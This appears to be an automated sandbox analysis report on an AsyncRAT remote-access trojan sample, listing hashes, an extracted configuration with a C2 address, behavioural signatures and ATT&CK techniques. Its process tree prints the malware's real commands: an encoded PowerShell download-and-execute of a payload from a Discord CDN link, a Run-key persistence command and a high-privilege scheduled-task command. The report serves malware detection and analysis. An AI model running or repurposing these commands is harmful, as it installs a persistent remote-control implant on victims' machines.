asyncrat | 14e809a6ceaa08f85305d9944a7122898772fe77d73b7d5f557f2f08a3d71800

General

Target

14e809a6ceaa08f85305d9944a7122898772fe77d73b7d5f557f2f08a3d71800.exe
Size

5KB
MD5

70b303ba1ea0d9b0e42d7d0a70fc5d67
SHA1

d9459c78ed2f8ba8419da111f7e38dddbb051e86
SHA256

14e809a6ceaa08f85305d9944a7122898772fe77d73b7d5f557f2f08a3d71800
SHA512

053464b02dd44a27102be12bce20f0722da817dbea5c1ae533eb81d8e54fb1e14c6d06c13fcf051b4f3f02a93633f63737466460346e6fbc738291859986ffc8
SSDEEP

96:nOTVR79YSCFYqr+UqDoNrtuNtUqSoQIntvngd3ojsKrl:s9YZFL+UqDGrQNtUqSVugdry

Score

10^/10

asyncrat system guard runtime persistence rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

System Guard Runtime

C2

85.105.88.221:2531

Mutex

System Guard Runtime

Attributes

delay
3
install
false
install_file
System Guard Runtime
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/3076-149-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

17 2408 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

2.exe

pid process

4584 2.exe

flow	pid	process
17	2408	powershell.exe

pid	process
4584	2.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

14e809a6ceaa08f85305d9944a7122898772fe77d73b7d5f557f2f08a3d71800.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	14e809a6ceaa08f85305d9944a7122898772fe77d73b7d5f557f2f08a3d71800.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemGuardRuntime = "C:\\Users\\Admin\\AppData\\Roaming\\SystemGuardRuntime\\SystemGuardRuntime.exe"	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

2.exe

description pid process target process

PID 4584 set thread context of 3076 4584 2.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

4384 schtasks.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

2408 powershell.exe
2408 powershell.exe
3448 powershell.exe
3448 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2408 powershell.exe
Token: SeDebugPrivilege 3448 powershell.exe

description	pid	process	target process
PID 4584 set thread context of 3076	4584	2.exe	RegAsm.exe

pid	process
4384	schtasks.exe

pid	process
2408	powershell.exe
2408	powershell.exe
3448	powershell.exe
3448	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2408	powershell.exe
Token: SeDebugPrivilege	3448	powershell.exe

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

14e809a6ceaa08f85305d9944a7122898772fe77d73b7d5f557f2f08a3d71800.exepowershell.exe2.execmd.exe

description	pid	process	target process
PID 3804 wrote to memory of 2408	3804	14e809a6ceaa08f85305d9944a7122898772fe77d73b7d5f557f2f08a3d71800.exe	powershell.exe
PID 3804 wrote to memory of 2408	3804	14e809a6ceaa08f85305d9944a7122898772fe77d73b7d5f557f2f08a3d71800.exe	powershell.exe
PID 2408 wrote to memory of 4584	2408	powershell.exe	2.exe
PID 2408 wrote to memory of 4584	2408	powershell.exe	2.exe
PID 2408 wrote to memory of 4584	2408	powershell.exe	2.exe
PID 4584 wrote to memory of 3448	4584	2.exe	powershell.exe
PID 4584 wrote to memory of 3448	4584	2.exe	powershell.exe
PID 4584 wrote to memory of 3448	4584	2.exe	powershell.exe
PID 4584 wrote to memory of 4536	4584	2.exe	cmd.exe
PID 4584 wrote to memory of 4536	4584	2.exe	cmd.exe
PID 4584 wrote to memory of 4536	4584	2.exe	cmd.exe
PID 4536 wrote to memory of 4384	4536	cmd.exe	schtasks.exe
PID 4536 wrote to memory of 4384	4536	cmd.exe	schtasks.exe
PID 4536 wrote to memory of 4384	4536	cmd.exe	schtasks.exe
PID 4584 wrote to memory of 3076	4584	2.exe	RegAsm.exe
PID 4584 wrote to memory of 3076	4584	2.exe	RegAsm.exe
PID 4584 wrote to memory of 3076	4584	2.exe	RegAsm.exe
PID 4584 wrote to memory of 3076	4584	2.exe	RegAsm.exe
PID 4584 wrote to memory of 3076	4584	2.exe	RegAsm.exe
PID 4584 wrote to memory of 3076	4584	2.exe	RegAsm.exe
PID 4584 wrote to memory of 3076	4584	2.exe	RegAsm.exe
PID 4584 wrote to memory of 3076	4584	2.exe	RegAsm.exe

C:\Users\Admin\AppData\Local\Temp\14e809a6ceaa08f85305d9944a7122898772fe77d73b7d5f557f2f08a3d71800.exe
"C:\Users\Admin\AppData\Local\Temp\14e809a6ceaa08f85305d9944a7122898772fe77d73b7d5f557f2f08a3d71800.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3804

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGQAbABjACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADUAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAANQA3ADQAMQA0ADgANAA4ADkAMAA2ADAAMAA2ADYAMAA5AC8AMQAwADUANwA0ADEANQAwADMANAA5ADgANgAzADEAMQA4ADEAMAAvAEMAUgAuAGUAeABlACcALAAgADwAIwB1AGQAZwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGgAagB1ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHEAdQBsACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnADIALgBlAHgAZQAnACkAKQA8ACMAcwBxAGgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdgBxAHAAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGsAcAB2ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnADIALgBlAHgAZQAnACkAPAAjAGUAdgBzACMAPgA="
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2408

C:\Users\Admin\AppData\Roaming\2.exe
"C:\Users\Admin\AppData\Roaming\2.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4584

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'SystemGuardRuntime';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'SystemGuardRuntime' -Value '"C:\Users\Admin\AppData\Roaming\SystemGuardRuntime\SystemGuardRuntime.exe"' -PropertyType 'String'
4⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3448

C:\Windows\SysWOW64\cmd.exe
"cmd" /C schtasks /create /tn \SystemGuardRuntime /tr "C:\Users\Admin\AppData\Roaming\SystemGuardRuntime\SystemGuardRuntime.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
4⤵
- Suspicious use of WriteProcessMemory
PID:4536

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /tn \SystemGuardRuntime /tr "C:\Users\Admin\AppData\Roaming\SystemGuardRuntime\SystemGuardRuntime.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
5⤵
- Creates scheduled task(s)
PID:4384

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
#cmd
4⤵
PID:3076

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
6b33cff2c64571ee8b1cf14f157f317f

SHA1
ae4426839f5e8c28e8ac6d09b5499d1deda33fd2

SHA256
0381f2b66fae947afa407755ca58105879f85411d9a78b99774059f982ee3619

SHA512
61110504890848c0f2cff028a9f726445d5d63221bade9d3e801527483d29f9730051b10bdd5fa4b454cb40af130989c1aca3a123b5fe7ae665f3ee18c4fa2c2

Download Submit
C:\Users\Admin\AppData\Roaming\2.exe
Filesize
87KB

MD5
3c6ccbfe897915f0fe6bc34d193bf4a0

SHA1
6fe3161ee66e317889066a302474e511220939e7

SHA256
52bf11364e8430f4b271ebb29e2a55451543338be5b2a34e731ede58eef04241

SHA512
e0bf1fc11deacb24b5d5de4bcfc522057d1ca1b4866325356b2c9a1f009c6562eee0c0e602478b3639de4beff14997d59a3b428281d9111278544fc5e3199536

Download Submit
C:\Users\Admin\AppData\Roaming\2.exe
Filesize
87KB

MD5
3c6ccbfe897915f0fe6bc34d193bf4a0

SHA1
6fe3161ee66e317889066a302474e511220939e7

SHA256
52bf11364e8430f4b271ebb29e2a55451543338be5b2a34e731ede58eef04241

SHA512
e0bf1fc11deacb24b5d5de4bcfc522057d1ca1b4866325356b2c9a1f009c6562eee0c0e602478b3639de4beff14997d59a3b428281d9111278544fc5e3199536

Download Submit
memory/2408-133-0x0000000000000000-mapping.dmp

Download
memory/2408-134-0x000002179B880000-0x000002179B8A2000-memory.dmp

Filesize
136KB

Download
memory/2408-136-0x00007FF9C1930000-0x00007FF9C23F1000-memory.dmp

Filesize
10.8MB

Download
memory/2408-137-0x00007FF9C1930000-0x00007FF9C23F1000-memory.dmp

Filesize
10.8MB

Download
memory/2408-141-0x00007FF9C1930000-0x00007FF9C23F1000-memory.dmp

Filesize
10.8MB

Download
memory/3076-148-0x0000000000000000-mapping.dmp

Download
memory/3076-149-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/3448-153-0x0000000005B10000-0x0000000005B76000-memory.dmp

Filesize
408KB

Download
memory/3448-161-0x0000000007CC0000-0x0000000007CCA000-memory.dmp

Filesize
40KB

Download
memory/3448-166-0x0000000007FB0000-0x0000000007FD2000-memory.dmp

Filesize
136KB

Download
memory/3448-165-0x0000000007F70000-0x0000000007F78000-memory.dmp

Filesize
32KB

Download
memory/3448-155-0x0000000006940000-0x000000000695E000-memory.dmp

Filesize
120KB

Download
memory/3448-147-0x0000000002FB0000-0x0000000002FE6000-memory.dmp

Filesize
216KB

Download
memory/3448-164-0x0000000007F90000-0x0000000007FAA000-memory.dmp

Filesize
104KB

Download
memory/3448-156-0x0000000006F20000-0x0000000006F52000-memory.dmp

Filesize
200KB

Download
memory/3448-150-0x0000000005B90000-0x00000000061B8000-memory.dmp

Filesize
6.2MB

Download
memory/3448-151-0x0000000005900000-0x0000000005922000-memory.dmp

Filesize
136KB

Download
memory/3448-152-0x0000000005AA0000-0x0000000005B06000-memory.dmp

Filesize
408KB

Download
memory/3448-163-0x0000000007E80000-0x0000000007E8E000-memory.dmp

Filesize
56KB

Download
memory/3448-144-0x0000000000000000-mapping.dmp

Download
memory/3448-162-0x0000000007ED0000-0x0000000007F66000-memory.dmp

Filesize
600KB

Download
memory/3448-160-0x0000000007C50000-0x0000000007C6A000-memory.dmp

Filesize
104KB

Download
memory/3448-157-0x00000000726F0000-0x000000007273C000-memory.dmp

Filesize
304KB

Download
memory/3448-158-0x0000000006F00000-0x0000000006F1E000-memory.dmp

Filesize
120KB

Download
memory/3448-159-0x00000000082A0000-0x000000000891A000-memory.dmp

Filesize
6.5MB

Download
memory/3804-132-0x00000000006C0000-0x00000000006C8000-memory.dmp

Filesize
32KB

Download
memory/3804-135-0x00007FF9C1930000-0x00007FF9C23F1000-memory.dmp

Filesize
10.8MB

Download
memory/4384-146-0x0000000000000000-mapping.dmp

Download
memory/4536-145-0x0000000000000000-mapping.dmp

Download
memory/4584-142-0x00000000005C0000-0x00000000005DC000-memory.dmp

Filesize
112KB

Download
memory/4584-143-0x00000000054B0000-0x0000000005A54000-memory.dmp

Filesize
5.6MB

Download
memory/4584-138-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads